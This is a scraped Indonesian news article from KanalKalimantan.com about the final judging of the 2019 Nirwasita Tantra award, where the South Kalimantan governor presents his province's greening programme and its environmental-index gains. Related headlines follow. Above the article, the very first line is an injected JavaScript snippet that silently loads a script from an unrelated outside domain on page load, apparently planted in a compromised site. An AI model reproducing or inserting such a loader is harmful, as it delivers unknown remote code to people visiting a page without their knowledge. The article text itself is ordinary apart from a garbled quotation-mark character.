(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Penilaian Nirwasita Tantra Tahun 2019 memasuki tahap akhir. Penilaian yang dilakukan Kementerian Lingkungan Hidup dan Kehutanan (KLHK) ini dilaksanakan di Gedung Manggala Wanabakti dari tanggal 12- 13 Agustus 2019.
Tahap ini diikuti oleh peserta yang berasal dari enam provinsi, enam kota dan beberapa kabupaten. Setiap nominator mempresentasikan program-program untuk mendorong percepatan perbaikan kualitas lingkungan yang implementasinya disesuaikan dengan kondisi wilayah masing-masing.
Pada penilaian tahap akhir ini, sebanyak 6 provinsi yang akan bersaing diantaranya Provinsi Sumatera Barat, Sumatera Utara, Bangka Belitung, Jawa Barat, Jawa Tengah dan Kalimantan Selatan.
Nirwasita Tantra adalah penghargaan pemerintah untuk kepala daerah atas kepemimpinannya dalam merumuskan dan menerapkan kebijakan, dan/atau program kerja sesuai dengan prinsip metodologi pembangunan berkelanjutan guna memperbaiki kualitas lingkungan hidup di daerahnya.
Sebagai salah satu nominator, Gubernur Kalsel didampingi Kepala Dinas Kehutanan dan Kepala Dinas Lingkungan Hidup memaparkan pengelolaan lingkungan di Provinsi Kalimantan Selatan kepada para panelis. Sahbirin Noor mengatakan, bahwa Pemerintah Provinsi (pemprov) Kalimantan Selatan melakukan sejumlah inovasi program dengan melibatkan berbagai unsur lapisan masyarakat, baik pemerintah, swasta, masyarakat, relawan, dan komunitas.
Gerakan Revolusi Hijau, menjadi salah satu program unggulan yang digulirkan Pemprov Kalsel. Program tersebut sudah berjalan selama beberapa tahun terakhir, dan sukses memberikan dampak besar bagi perbaikan kualitas lingkungan di Kalsel. Terbukti, indeks kualitas lingkungan hidup (IKLH) di Kalsel naik dari naik dari 57,51 menjadi 60 dan posisinya meningkat dari peringkat 26 menjadi 19 dari 34 provinsi di Indonesia.
“Program ini diusung pemerintah provinsi dalam upaya gerakan menanam menaman dan menanam untuk anak cucu kita, seluruh unsur lapisan masyarakat kita upayakan untuk gemar menanam, dan gerakan tersebut juga didukung dengan diterbitkannya Perda Provinsi Kalsel No.7 tahun 2018,†ujar Sahbirin Noor.
Terkait berbagai inovasi yang dilakukan oleh para kepala daerah, KLHK akan memberikan penghargaan Nirwasita Tantra kepada mereka yang berhasil melakukan pengelolaan administrasi dan kepemimpinan lingkungan terbaik.
Kepala daerah penerima penghargaan Nirwasita Tantra harus mencerminkan adanya leadership yang kuat dalam menjaga lingkungan demi kesejahteraan masyarakat. Diharapkan dari ajang penghargaan Nirwasita Tantra ini akan muncul inovasi dan terobosan dalam mengatasi permasalahan lingkungan, dengan mengedepankan sinergitas antar stakeholder.(rico)
KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
This website uses cookies.